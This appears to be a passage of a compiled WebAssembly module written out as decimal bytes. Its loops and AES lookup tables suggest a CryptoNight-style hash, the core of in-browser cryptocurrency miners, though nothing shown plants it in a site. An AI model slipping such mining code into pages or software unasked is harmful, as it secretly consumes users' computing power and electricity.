126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,24,32,28,133,55,3,0,32,12,32,25,32,7,65,8,106,34,8,41,3,0,133,55,3,0,32,7,32,24,55,3,0,32,8,32,25,32,29,133,55,3,0,32,0,32,6,40,2,0,65,240,255,255,0,113,106,34,7,32,10,32,6,16,18,32,7,32,11,41,3,0,32,10,41,3,0,133,55,3,0,32,7,32,15,41,3,0,32,14,41,3,0,133,34,24,55,3,8,32,7,65,144,166,29,32,24,66,27,136,167,65,6,113,32,24,66,24,136,167,34,7,65,1,113,114,65,1,116,118,65,48,113,32,7,115,58,0,11,32,10,41,3,0,34,26,66,32,136,33,24,32,0,32,10,40,2,0,65,240,255,255,0,113,106,34,7,41,3,0,34,28,66,32,136,34,30,32,26,66,255,255,255,255,15,131,34,25,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,25,126,33,25,32,26,32,27,32,24,126,124,32,25,66,32,136,124,34,27,66,32,134,32,25,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,25,32,6,32,6,41,3,0,32,30,32,24,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,24,32,28,133,55,3,0,32,12,32,25,32,7,65,8,106,34,8,41,3,0,133,55,3,0,32,7,32,24,55,3,0,32,8,32,25,32,29,133,55,3,0,32,1,65,1,106,34,1,65,128,128,16,71,4,64,32,6,40,2,0,33,7,12,1,11,11,32,4,32,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,9,40,2,0,32,23,16,20,32,0,65,216,129,128,1,106,33,6,32,0,65,232,129,128,1,106,33,10,32,0,65,248,129,128,1,106,33,11,32,0,65,136,130,128,1,106,33,12,32,0,65,152,130,128,1,106,33,7,32,0,65,168,130,128,1,106,33,14,32,0,65,184,130,128,1,106,33,15,32,0,65,200,130,128,1,106,33,23,65,0,33,1,3,64,32,4,32,4,41,3,0,32,0,32,1,106,34,8,41,3,0,133,55,3,0,32,6,32,6,41,3,0,32,8,41,3,8,133,55,3,0,32,4,32,9,40,2,0,40,2,0,40,2,12,16,9,32,16,32,16,41,3,0,32,0,32,1,65,16,114,106,34,8,41,3,0,133,55,3,0,32,10,32,10,41,3,0,32,8,41,3,8,133,55,3,0,32,16,32,9,40,2,0,40,2,0,40,2,12,16,9,32,17,32,17,41,3,0,32,0,32,1,65,32,114,106,34,8,41,3,0,133,55,3,0,32,11,32,11,41,3,0,32,8,41,3,8,133,55,3,0,32,17,32,9,40,2,0,40,2,0,40,2,12,16,9,32,18,32,18,41,3,0,32,0,32,1,65,48,114,106,34,8,41,3,0,133,55,3,0,32,12,32,12,41,3,0,32,8,41,3,8,133,55,3,0,32,18,32,9,40,2,0,40,2,0,40,2,12,16,9,32,19,32,19,41,3,0,32,0,32,1,65,192,0,114,106,34,8,41,3,0,133,55,3,0,32,7,32,7,41,3,0,32,8,41,3,8,133,55,3,0,32,19,32,9,40,2,0,40,2,0,40,2,12,16,9,32,20,32,20,41,3,0,32,0,32,1,65,208,0,114,106,34,8,41,3,0,133,55,3,0,32,14,32,14,41,3,0,32,8,41,3,8,133,55,3,0,32,20,32,9,40,2,0,40,2,0,40,2,12,16,9,32,21,32,21,41,3,0,32,0,32,1,65,224,0,114,106,34,8,41,3,0,133,55,3,0,32,15,32,15,41,3,0,32,8,41,3,8,133,55,3,0,32,21,32,9,40,2,0,40,2,0,40,2,12,16,9,32,22,32,22,41,3,0,32,0,32,1,65,240,0,114,106,34,8,41,3,0,133,55,3,0,32,23,32,23,41,3,0,32,8,41,3,8,133,55,3,0,32,22,32,9,40,2,0,40,2,0,40,2,12,16,9,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,5,32,4,41,3,0,55,3,0,32,5,32,4,41,3,8,55,3,8,32,5,32,4,41,3,16,55,3,16,32,5,32,4,41,3,24,55,3,24,32,5,32,4,41,3,32,55,3,32,32,5,32,4,41,3,40,55,3,40,32,5,32,4,41,3,48,55,3,48,32,5,32,4,41,3,56,55,3,56,32,5,32,4,41,3,64,55,3,64,32,5,32,4,41,3,72,55,3,72,32,5,32,4,41,3,80,55,3,80,32,5,32,4,41,3,88,55,3,88,32,5,32,4,41,3,96,55,3,96,32,5,32,4,41,3,104,55,3,104,32,5,32,4,41,3,112,55,3,112,32,5,32,4,41,3,120,55,3,120,32,13,16,21,32,13,65,200,1,32,2,32,13,44,0,0,65,3,113,65,2,116,65,128,42,106,40,2,0,65,7,113,17,0,0,32,3,36,4,11,128,19,2,20,127,6,126,35,4,33,3,35,4,65,208,1,106,36,4,32,3,32,1,41,0,0,55,0,0,32,3,32,1,41,0,8,55,0,8,32,3,32,1,41,0,16,55,0,16,32,3,32,1,41,0,24,55,0,24,32,3,32,1,41,0,32,55,0,32,32,3,32,1,41,0,40,55,0,40,32,3,32,1,41,0,48,55,0,48,32,3,32,1,41,0,56,55,0,56,32,3,32,1,41,0,64,55,0,64,32,3,32,1,40,0,72,54,0,72,32,3,65,208,0,106,34,1,66,0,55,3,0,32,1,66,0,55,3,8,32,1,66,0,55,3,16,32,1,66,0,55,3,24,32,1,66,0,55,3,32,32,1,66,0,55,3,40,32,1,66,0,55,3,48,32,1,66,0,55,3,56,32,1,66,0,55,3,64,32,1,66,0,55,3,72,32,1,66,0,55,3,80,32,1,66,0,55,3,88,32,1,66,0,55,3,96,32,1,66,0,55,3,104,32,1,66,0,55,3,112,32,3,65,200,0,106,34,1,32,1,41,3,0,66,255,255,255,255,15,131,66,128,128,128,128,16,132,55,3,0,32,3,66,128,128,128,128,128,128,128,128,128,127,55,3,128,1,32,3,16,21,32,0,65,128,128,128,1,106,34,13,32,3,65,200,1,16,11,26,32,0,65,208,129,128,1,106,34,4,32,0,65,192,128,128,1,106,34,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,0,65,128,131,128,1,106,34,8,40,2,0,32,13,16,20,32,0,65,224,129,128,1,106,33,16,32,0,65,240,129,128,1,106,33,17,32,0,65,128,130,128,1,106,33,18,32,0,65,144,130,128,1,106,33,19,32,0,65,160,130,128,1,106,33,20,32,0,65,176,130,128,1,106,33,21,32,0,65,192,130,128,1,106,33,22,65,0,33,1,3,64,32,4,32,8,40,2,0,40,2,0,40,2,12,16,9,32,16,32,8,40,2,0,40,2,0,40,2,12,16,9,32,17,32,8,40,2,0,40,2,0,40,2,12,16,9,32,18,32,8,40,2,0,40,2,0,40,2,12,16,9,32,19,32,8,40,2,0,40,2,0,40,2,12,16,9,32,20,32,8,40,2,0,40,2,0,40,2,12,16,9,32,21,32,8,40,2,0,40,2,0,40,2,12,16,9,32,22,32,8,40,2,0,40,2,0,40,2,12,16,9,32,0,32,1,106,34,6,32,4,41,0,0,55,0,0,32,6,32,4,41,0,8,55,0,8,32,6,32,4,41,0,16,55,0,16,32,6,32,4,41,0,24,55,0,24,32,6,32,4,41,0,32,55,0,32,32,6,32,4,41,0,40,55,0,40,32,6,32,4,41,0,48,55,0,48,32,6,32,4,41,0,56,55,0,56,32,6,32,4,41,0,64,55,0,64,32,6,32,4,41,0,72,55,0,72,32,6,32,4,41,0,80,55,0,80,32,6,32,4,41,0,88,55,0,88,32,6,32,4,41,0,96,55,0,96,32,6,32,4,41,0,104,55,0,104,32,6,32,4,41,0,112,55,0,112,32,6,32,4,41,0,120,55,0,120,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,0,65,208,130,128,1,106,34,6,32,0,65,160,128,128,1,106,34,23,41,3,0,32,13,41,3,0,133,34,25,55,3,0,32,0,65,216,130,128,1,106,34,12,32,0,65,168,128,128,1,106,41,3,0,32,0,65,136,128,128,1,106,41,3,0,133,55,3,0,32,0,65,224,130,128,1,106,34,10,32,0,65,176,128,128,1,106,41,3,0,32,0,65,144,128,128,1,106,41,3,0,133,55,3,0,32,0,65,232,130,128,1,106,34,14,32,0,65,184,128,128,1,106,41,3,0,32,0,65,152,128,128,1,106,41,3,0,133,55,3,0,32,0,65,240,130,128,1,106,33,11,32,0,65,248,130,128,1,106,33,15,65,0,33,1,32,25,167,33,9,3,64,32,0,32,9,65,240,255,255,0,113,106,34,9,32,11,32,6,16,18,32,9,32,10,41,3,0,32,11,41,3,0,133,55,3,0,32,9,32,14,41,3,0,32,15,41,3,0,133,55,3,8,32,11,41,3,0,34,26,66,32,136,33,25,32,0,32,11,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,34,29,32,26,66,255,255,255,255,15,131,34,24,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,24,126,33,24,32,26,32,27,32,25,126,124,32,24,66,32,136,124,34,27,66,32,134,32,24,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,24,32,6,32,6,41,3,0,32,29,32,25,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,25,32,28,133,55,3,0,32,12,32,24,32,9,65,8,106,34,7,41,3,0,133,55,3,0,32,9,32,25,55,3,0,32,7,32,24,55,3,0,32,0,32,6,40,2,0,65,240,255,255,0,113,106,34,9,32,10,32,6,16,18,32,9,32,11,41,3,0,32,10,41,3,0,133,55,3,0,32,9,32,15,41,3,0,32,14,41,3,0,133,55,3,8,32,10,41,3,0,34,26,66,32,136,33,25,32,0,32,10,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,34,29,32,26,66,255,255,255,255,15,131,34,24,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,24,126,33,24,32,26,32,27,32,25,126,124,32,24,66,32,136,124,34,27,66,32,134,32,24,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,24,32,6,32,6,41,3,0,32,29,32,25,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,25,32,28,133,55,3,0,32,12,32,24,32,9,65,8,106,34,7,41,3,0,133,55,3,0,32,9,32,25,55,3,0,32,7,32,24,55,3,0,32,1,65,1,106,34,1,65,128,128,16,71,4,64,32,6,40,2,0,33,9,12,1,11,11,32,4,32,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,8,40,2,0,32,23,16,20,32,0,65,216,129,128,1,106,33,6,32,0,65,232,129,128,1,106,33,10,32,0,65,248,129,128,1,106,33,11,32,0,65,136,130,128,1,106,33,12,32,0,65,152,130,128,1,106,33,14,32,0,65,168,130,128,1,106,33,15,32,0,65,184,130,128,1,106,33,9,32,0,65,200,130,128,1,106,33,23,65,0,33,1,3,64,32,4,32,4,41,3,0,32,0,32,1,106,34,7,41,3,0,133,55,3,0,32,6,32,6,41,3,0,32,7,41,3,8,133,55,3,0,32,4,32,8,40,2,0,40,2,0,40,2,12,16,9,32,16,32,16,41,3,0,32,0,32,1,65,16,114,106,34,7,41,3,0,133,55,3,0,32,10,32,10,41,3,0,32,7,41,3,8,133,55,3,0,32,16,32,8,40,2,0,40,2,0,40,2,12,16,9,32,17,32,17,41,3,0,32,0,32,1,65,32,114,106,34,7,41,3,0,133,55,3,0,32,11,32,11,41,3,0,32,7,41,3,8,133,55,3,0,32,17,32,8,40,2,0,40,2,0,40,2,12,16,9,32,18,32,18,41,3,0,32,0,32,1,65,48,114,106,34,7,41,3,0,133,55,3,0,32,12,32,12,41,3,0,32,7,41,3,8,133,55,3,0,32,18,32,8,40,2,0,40,2,0,40,2,12,16,9,32,19,32,19,41,3,0,32,0,32,1,65,192,0,114,106,34,7,41,3,0,133,55,3,0,32,14,32,14,41,3,0,32,7,41,3,8,133,55,3,0,32,19,32,8,40,2,0,40,2,0,40,2,12,16,9,32,20,32,20,41,3,0,32,0,32,1,65,208,0,114,106,34,7,41,3,0,133,55,3,0,32,15,32,15,41,3,0,32,7,41,3,8,133,55,3,0,32,20,32,8,40,2,0,40,2,0,40,2,12,16,9,32,21,32,21,41,3,0,32,0,32,1,65,224,0,114,106,34,7,41,3,0,133,55,3,0,32,9,32,9,41,3,0,32,7,41,3,8,133,55,3,0,32,21,32,8,40,2,0,40,2,0,40,2,12,16,9,32,22,32,22,41,3,0,32,0,32,1,65,240,0,114,106,34,7,41,3,0,133,55,3,0,32,23,32,23,41,3,0,32,7,41,3,8,133,55,3,0,32,22,32,8,40,2,0,40,2,0,40,2,12,16,9,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,5,32,4,41,3,0,55,3,0,32,5,32,4,41,3,8,55,3,8,32,5,32,4,41,3,16,55,3,16,32,5,32,4,41,3,24,55,3,24,32,5,32,4,41,3,32,55,3,32,32,5,32,4,41,3,40,55,3,40,32,5,32,4,41,3,48,55,3,48,32,5,32,4,41,3,56,55,3,56,32,5,32,4,41,3,64,55,3,64,32,5,32,4,41,3,72,55,3,72,32,5,32,4,41,3,80,55,3,80,32,5,32,4,41,3,88,55,3,88,32,5,32,4,41,3,96,55,3,96,32,5,32,4,41,3,104,55,3,104,32,5,32,4,41,3,112,55,3,112,32,5,32,4,41,3,120,55,3,120,32,13,16,21,32,13,65,200,1,32,2,32,13,44,0,0,65,3,113,65,2,116,65,128,42,106,40,2,0,65,7,113,17,0,0,32,3,36,4,11,27,1,1,127,35,4,33,1,35,4,32,0,106,36,4,35,4,65,15,106,65,112,113,36,4,32,1,11,11,201,67,3,0,65,128,8,11,224,39,198,99,99,165,248,124,124,132,238,119,119,153,246,123,123,141,255,242,242,13,214,107,107,189,222,111,111,177,145,197,197,84,96,48,48,80,2,1,1,3,206,103,103,169,86,43,43,125,231,254,254,25,181,215,215,98,77,171,171,230,236,118,118,154,143,202,202,69,31,130,130,157,137,201,201,64,250,125,125,135,239,250,250,21,178,89,89,235,142,71,71,201,251,240,240,11,65,173,173,236,179,212,212,103,95,162,162,253,69,175,175,234,35,156,156,191,83,164,164,247,228,114,114,150,155,192,192,91,117,183,183,194,225,253,253,28,61,147,147,174,76,38,38,106,108,54,54,90,126,63,63,65,245,247,247,2,131,204,204,79,104,52,52,92,81,165,165,244,209,229,229,52,249,241,241,8,226,113,113,147,171,216,216,115,98,49,49,83,42,21,21,63,8,4,4,12,149,199,199,82,70,35,35,101,157,195,195,94,48,24,24,40,55,150,150,161,10,5,5,15,47,154,154,181,14,7,7,9,36,18,18,54,27,128,128,155,223,226,226,61,205,235,235,38,78,39,39,105,127,178,178,205,234,117,117,159,18,9,9,27,29,131,131,158,88,44,44,116,52,26,26,46,54,27,27,45,220,110,110,178,180,90,90,238,91,160,160,251,164,82,82,246,118,59,59,77,183,214,214,97,125,179,179,206,82,41,41,123,221,227,227,62,94,47,47,113,19,132,132,151,166,83,83,245,185,209,209,104,0,0,0,0,193,237,237,44,64,32,32,96,227,252,252,31,121,177,177,200,182,91,91,237,212,106,106,190,141,203,203,70,103,190,190,217,114,57,57,75,148,74,74,222,152,76,76,212,176,88,88,232,133,207,207,74,187,208,208,107,197,239,239,42,79,170,170,229,237,251,251,22,134,67,67,197,154,77,77,215,102,51,51,85,17,133,133,148,138,69,69,207,233,249,249,16,4,2,2,6,254,127,127,129,160,80,80,240,120,60,60,68,37,159,159,186,75,168,168,227,162,81,81,243,93,163,163,254,128,64,64,192,5,143,143,138,63,146,146,173,33,157,157,188,112,56,56,72,241,245,245,4,99,188,188,223,119,182,182,193,175,218,218,117,66,33,33,99,32,16,16,48,229,255,255,26,253,243,243,14,191,210,210,109,129,205,205,76,24,12,12,20,38,19,19,53,195,236,236,47,190,95,95,225,53,151,151,162,136,68,68,204,46,23,23,57,147,196,196,87,85,167,167,242,252,126,126,130,122,61,61,71,200,100,100,172,186,93,93,231,50,25,25,43,230,115,115,149,192,96,96,160,25,129,129,152,158,79,79,209,163,220,220,127,68,34,34,102,84,42,42,126,59,144,144,171,11,136,136,131,140,70,70,202,199,238,238,41,107,184,184,211,40,20,20,60,167,222,222,121,188,94,94,226,22,11,11,29,173,219,219,118,219,224,224,59,100,50,50,86,116,58,58,78,20,10,10,30,146,73,73,219,12,6,6,10,72,36,36,108,184,92,92,228,159,194,194,93,189,211,211,110,67,172,172,239,196,98,98,166,57,145,145,168,49,149,149,164,211,228,228,55,242,121,121,139,213,231,231,50,139,200,200,67,110,55,55,89,218,109,109,183,1,141,141,140,177,213,213,100,156,78,78,210,73,169,169,224,216,108,108,180,172,86,86,250,243,244,244,7,207,234,234,37,202,101,101,175,244,122,122,142,71,174,174,233,16,8,8,24,111,186,186,213,240,120,120,136,74,37,37,111,92,46,46,114,56,28,28,36,87,166,166,241,115,180,180,199,151,198,198,81,203,232,232,35,161,221,221,124,232,116,116,156,62,31,31,33,150,75,75,221,97,189,189,220,13,139,139,134,15,138,138,133,224,112,112,144,124,62,62,66,113,181,181,196,204,102,102,170,144,72,72,216,6,3,3,5,247,246,246,1,28,14,14,18,194,97,97,163,106,53,53,95,174,87,87,249,105,185,185,208,23,134,134,145,153,193,193,88,58,29,29,39,39,158,158,185,217,225,225,56,235,248,248,19,43,152,152,179,34,17,17,51,210,105,105,187,169,217,217,112,7,142,142,137,51,148,148,167,45,155,155,182,60,30,30,34,21,135,135,146,201,233,233,32,135,206,206,73,170,85,85,255,80,40,40,120,165,223,223,122,3,140,140,143,89,161,161,248,9,137,137,128,26,13,13,23,101,191,191,218,215,230,230,49,132,66,66,198,208,104,104,184,130,65,65,195,41,153,153,176,90,45,45,119,30,15,15,17,123,176,176,203,168,84,84,252,109,187,187,214,44,22,22,58,165,198,99,99,132,248,124,124,153,238,119,119,141,246,123,123,13,255,242,242,189,214,107,107,177,222,111,111,84,145,197,197,80,96,48,48,3,2,1,1,169,206,103,103,125,86,43,43,25,231,254,254,98,181,215,215,230,77,171,171,154,236,118,118,69,143,202,202,157,31,130,130,64,137,201,201,135,250,125,125,21,239,250,250,235,178,89,89,201,142,71,71,11,251,240,240,236,65,173,173,103,179,212,212,253,95,162,162,234,69,175,175,191,35,156,156,247,83,164,164,150,228,114,114,91,155,192,192,194,117,183,183,28,225,253,253,174,61,147,147,106,76,38,38,90,108,54,54,65,126,63,63,2,245,247,247,79,131,204,204,92,104,52,52,244,81,165,165,52,209,229,229,8,249,241,241,147,226,113,113,115,171,216,216,83,98,49,49,63,42,21,21,12,8,4,4,82,149,199,199,101,70,35,35,94,157,195,195,40,48,24,24,161,55,150,150,15,10,5,5,181,47,154,154,9,14,7,7,54,36,18,18,155,27,128,128,61,223,226,226,38,205,235,235,105,78,39,39,205,127,178,178,159,234,117,117,27,18,9,9,158,29,131,131,116,88,44,44,46,52,26,26,45,54,27,27,178,220,110,110,238,180,90,90,251,91,160,160,246,164,82,82,77,118,59,59,97,183,214,214,206,125,179,179,123,82,41,41,62,221,227,227,113,94,47,47,151,19,132,132,245,166,83,83,104,185,209,209,0,0,0,0,44,193,237,237,96,64,32,32,31,227,252,252,200,121,177,177,237,182,91,91,190,212,106,106,70,141,203,203,217,103,190,190,75,114,57,57,222,148,74,74,212,152,76,76,232,176,88,88,74,133,207,207,107,187,208,208,42,197,239,239,229,79,170,170,22,237,251,251,197,134,67,67,215,154,77,77,85,102,51,51,148,17,133,133,207,138,69,69,16,233,249,249,6,4,2,2,129,254,127,127,240,160,80,80,68,120,60,60,186,37,159,159,227,75,168,168,243,162,81,81,254,93,163,163,192,128,64,64,138,5,143,143,173,63,146,146,188,33,157,157,72,112,56,56,4,241,245,245,223,99,188,188,193,119,182,182,117,175,218,218,99,66,33,33,48,32,16,16,26,229,255,255,14,253,243,243,109,191,210,210,76,129,205,205,20,24,12,12,53,38,19,19,47,195,236,236,225,190,95,95,162,53,151,151,204,136,68,68,57,46,23,23,87,147,196,196,242,85,167,167,130,252,126,126,71,122,61,61,172,200,100,100,231,186,93,93,43,50,25,25,149,230,115,115,160,192,96,96,152,25,129,129,209,158,79,79,127,163,220,220,102,68,34,34,126,84,42,42,171,59,144,144,131,11,136,136,202,140,70,70,41,199,238,238,211,107,184,184,60,40,20,20,121,167,222,222,226,188,94,94,29,22,11,11,118,173,219,219,59,219,224,224,86,100,50,50,78,116,58,58,30,20,10,10,219,146,73,73,10,12,6,6,108,72,36,36,228,184,92,92,93,159,194,194,110,189,211,211,239,67,172,172,166,196,98,98,168,57,145,145,164,49,149,149,55,211,228,228,139,242,121,121,50,213,231,231,67,139,200,200,89,110,55,55,183,218,109,109,140,1,141,141,100,177,213,213,210,156,78,78,224,73,169,169,180,216,108,108,250,172,86,86,7,243,244,244,37,207,234,234,175,202,101,101,142,244,122,122,233,71,174,174,24,16,8,8,213,111,186,186,136,240,120,120,111,74,37,37,114,92,46,46,36,56,28,28,241,87,166,166,199,115,180,180,81,151,198,198,35,203,232,232,124,161,221,221,156,232,116,116,33,62,31,31,221,150,75,75,220,97,189,189,134,13,139,139,133,15,138,138,144,224,112,112,66,124,62,62,196,113,181,181,170,204,102,102,216,144,72,72,5,6,3,3,1,247,246,246,18,28,14,14,163,194,97,97,95,106,53,53,249,174,87,87,208,105,185,185,145,23,134,134,88,153,193,193,39,58,29,29,185,39,158,158,56,217,225,225,19,235,248,248,179,43,152,152,51,34,17,17,187,210,105,105,112,169,217,217,137,7,142,142,167,51,148,148,182,45,155,155,34,60,30,30,146,21,135,135,32,201,233,233,73,135,206,206,255,170,85,85,120,80,40,40,122,165,223,223,143,3,140,140,248,89,161,161,128,9,137,137,23,26,13,13,218,101,191,191,49,215,230,230,198,132,66,66,184,208,104,104,195,130,65,65,176,41,153,153,119,90,45,45,17,30,15,15,203,123,176,176,252,168,84,84,214,109,187,187,58,44,22,22,99,165,198,99,124,132,248,124,119,153,238,119,123,141,246,123,242,13,255,242,107,189,214,107,111,177,222,111,197,84,145,197,48,80,96,48,1,3,2,1,103,169,206,103,43,125,86,43,254,25,231,254,215,98,181,215,171,230,77,171,118,154,236,118,202,69,143,202,130,157,31,130,201,64,137,201,125,135,250,125,250,21,239,250,89,235,178,89,71,201,142,71,240,11,251,240,173,236,65,173,212,103,179,212,162,253,95,162,175,234,69,175,156,191,35,156,164,247,83,164,114,150,228,114,192,91,155,192,183,194,117,183,253,28,225,253,147,174,61,147,38,106,76,38,54,90,108,54,63,65,126,63,247,2,245,247,204,79,131,204,52,92,104,52,165,244,81,165,229,52,209,229,241,8,249,241,113,147,226,113,216,115,171,216,49,83,98,49,21,63,42,21,4,12,8,4,199,82,149,199,35,101,70,35,195,94,157,195,24,40,48,24,150,161,55,150,5,15,10,5,154,181,47,154,7,9,14,7,18,54,36,18,128,155,27,128,226,61,223,226,235,38,205,235,39,105,78,39,178,205,127,178,117,159,234,117,9,27,18,9,131,158,29,131,44,116,88,44,26,46,52,26,27,45,54,27,110,178,220,110,90,238,180,90,160,251,91,160,82,246,164,82,59,77,118,59,214,97,183,214,179,206,125,179,41,123,82,41,227,62,221,227,47,113,94,47,132,151,19,132,83,245,166,83,209,104,185,209,0,0,0,0,237,44,193,237,32,96,64,32,252,31,227,252,177,200,121,177,91,237,182,91,106,190,212,106,203,70,141,203,190,217,103,190,57,75,114,57,74,222,148,74,76,212,152,76,88,232,176,88,207,74,133,207,208,107,187,208,239,42,197,239,170,229,79,170,251,22,237,251,67,197,134,67,77,215,154,77,51,85,102,51,133,148,17,133,69,207,138,69,249,16,233,249,2,6,4,2,127,129,254,127,80,240,160,80,60,68,120,60,159,186,37,159,168,227,75,168,81,243,162,81,163,254,93,163,64,192,128,64,143,138,5,143,146,173,63,146,157,188,33,157,56,72,112,56,245,4,241,245,188,223,99,188,182,193,119,182,218,117,175,218,33,99,66,33,16,48,32,16,255,26,229,255,243,14,253,243,210,109,191,210,205,76,129,205,12,20,24,12,19,53,38,19,236,47,195,236,95,225,190,95,151,162,53,151,68,204,136,68,23,57,46,23,196,87,147,196,167,242,85,167,126,130,252,126,61,71,122,61,100,172,200,100,93,231,186,93,25,43,50,25,115,149,230,115,96,160,192,96,129,152,25,129,79,209,158,79,220,127,163,220,34,102,68,34,42,126,84,42,144,171,59,144,136,131,11,136,70,202,140,70,238,41,199,238,184,211,107,184,20,60,40,20,222,121,167,222,94,226,188,94,11,29,22,11,219,118,173,219,224,59,219,224,50,86,100,50,58,78,116,58,10,30,20,10,73,219,146,73,6,10,12,6,36,108,72,36,92,228,184,92,194,93,159,194,211,110,189,211,172,239,67,172,98,166,196,98,145,168,57,145,149,164,49,149,228,55,211,228,121,139,242,121,231,50,213,231,200,67,139,200,55,89,110,55,109,183,218,109,141,140,1,141,213,100,177,213,78,210,156,78,169,224,73,169,108,180,216,108,86,250,172,86,244,7,243,244,234,37,207,234,101,175,202,101,122,142,244,122,174,233,71,174,8,24,16,8,186,213,111,186,120,136,240,120,37,111,74,37,46,114,92,46,28,36,56,28,166,241,87,166,180,199,115,180,198,81,151,198,232,35,203,232,221,124,161,221,116,156,232,116,31,33,62,31,75,221,150,75,189,220,97,189,139,134,13,139,138,133,15,138,112,144,224,112,62,66,124,62,181,196,113,181,102,170,204,102,72,216,144,72,3,5,6,3,246,1,247,246,14,18,28,14,97,163,194,97,53,95,106,53,87,249,174,87,185,208,105,185,134,145,23,134,193,88,153,193,29,39,58,29,158,185,39,158,225,56,217,225,248,19,235,248,152,179,43,152,17,51,34,17,105,187,210,105,217,112,169,217,142,137,7,142,148,167,51,148,155,182,45,155,30,34,60,30,135,146,21,135,233,32,201,233,206,73,135,206,85,255,170,85,40,120,80,40,223,122,165,223,140,143,3,140,161,248,89,161,137,128,9,137,13,23,26,13,191,218,101,191,230,49,215,230,66,198,132,66,104,184,208,104,65,195,130,65,153,176,41,153,45,119,90,45,15,17,30,15,176,203,123,176,84,252,168,84,187,214,109,187,22,58,44,22,99,99,165,198,124,124,132,248,119,119,153,238,123,123,141,246,242,242,13,255,107,107,189,214,111,111,177,222,197,197,84,145,48,48,80,96,1,1,3,2,103,103,169,206,43,43,125,86,254,254,25,231,215,215,98,181,171,171,230,77,118,118,154,236,202,202,69,143,130,130,157,31,201,201,64,137,125,125,135,250,250,250,21,239,89,89,235,178,71,71,201,142,240,240,11,251,173,173,236,65,212,212,103,179,162,162,253,95,175,175,234,69,156,156,191,35,164,164,247,83,114,114,150,228,192,192,91,155,183,183,194,117,253,253,28,225,147,147,174,61,38,38,106,76,54,54,90,108,63,63,65,126,247,247,2,245,204,204,79,131,52,52,92,104,165,165,244,81,229,229,52,209,241,241,8,249,113,113,147,226,216,216,115,171,49,49,83,98,21,21,63,42,4,4,12,8,199,199,82,149,35,35,101,70,195,195,94,157,24,24,40,48,150,150,161,55,5,5,15,10,154,154,181,47,7,7,9,14,18,18,54,36,128,128,155,27,226,226,61,223,235,235,38,205,39,39,105,78,178,178,205,127,117,117,159,234,9,9,27,18,131,131,158,29,44,44,116,88,26,26,46,52,27,27,45,54,110,110,178,220,90,90,238,180,160,160,251,91,82,82,246,164,59,59,77,118,214,214,97,183,179,179,206,125,41,41,123,82,227,227,62,221,47,47,113,94,132,132,151,19,83,83,245,166,209,209,104,185,0,0,0,0,237,237,44,193,32,32,96,64,252,252,31,227,177,177,200,121,91,91,237,182,106,106,190,212,203,203,70,141,190,190,217,103,57,57,75,114,74,74,222,148,76,76,212,152,88,88,232,176,207,207,74,133,208,208,107,187,239,239,42,197,170,170,229,79,251,251,22,237,67,67,197,134,77,77,215,154,51,51,85,102,133,133,148,17,69,69,207,138,249,249,16,233,2,2,6,4,127,127,129,254,80,80,240,160,60,60,68,120,159,159,186,37,168,168,227,75,81,81,243,162,163,163,254,93,64,64,192,128,143,143,138,5,146,146,173,63,157,157,188,33,56,56,72,112,245,245,4,241,188,188,223,99,182,182,193,119,218,218,117,175,33,33,99,66,16,16,48,32,255,255,26,229,243,243,14,253,210,210,109,191,205,205,76,129,12,12,20,24,19,19,53,38,236,236,47,195,95,95,225,190,151,151,162,53,68,68,204,136,23,23,57,46,196,196,87,147,167,167,242,85,126,126,130,252,61,61,71,122,100,100,172,200,93,93,231,186,25,25,43,50,115,115,149,230,96,96,160,192,129,129,152,25,79,79,209,158,220,220,127,163,34,34,102,68,42,42,126,84,144,144,171,59,136,136,131,11,70,70,202,140,238,238,41,199,184,184,211,107,20,20,60,40,222,222,121,167,94,94,226,188,11,11,29,22,219,219,118,173,224,224,59,219,50,50,86,100,58,58,78,116,10,10,30,20,73,73,219,146,6,6,10,12,36,36,108,72,92,92,228,184,194,194,93,159,211,211,110,189,172,172,239,